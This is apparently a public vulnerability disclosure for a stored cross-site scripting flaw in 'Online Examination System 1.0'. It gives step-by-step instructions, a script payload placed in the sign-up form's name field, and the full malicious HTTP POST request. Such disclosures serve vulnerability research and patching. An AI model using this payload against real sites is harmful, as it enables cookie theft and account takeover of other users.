Authored by Nikhil Kumar

Online Examination System version 1.0 suffers from a persistent cross site scripting vulnerability.

# Exploit Title: Online examination system 1.0 - 'name' Stored Cross Site Scripting
# Date: 29/10/2020
# Exploit Author: Nikhil Kumar (
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested On: Ubntu 18 + Xampp-linux-x64-5.5.38-3

Step 1: Open the URL http://localhost/online-examination-systen-in-php/index.php and fill the sign up form


Step 2 : Use payload ><script>alert(document.cookie)</script> in "name=" field

Malicious Request

POST /exam_system/sign.php?q=account.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
Origin: http://localhost
Connection: close
Referer: http://localhost/exam_system/index.php
Cookie: security_level=1; PHPSESSID=kue9gcj3bs2329e8mctsokaod7
Upgrade-Insecure-Requests: 1

name=test><script>alert(document.cookie)</script>&gender=M&college=test&[email protected]&mob=8888888888&password=123456&cpassword=123456

Step 3: Cookie will be reflected each time user logged in with their credentials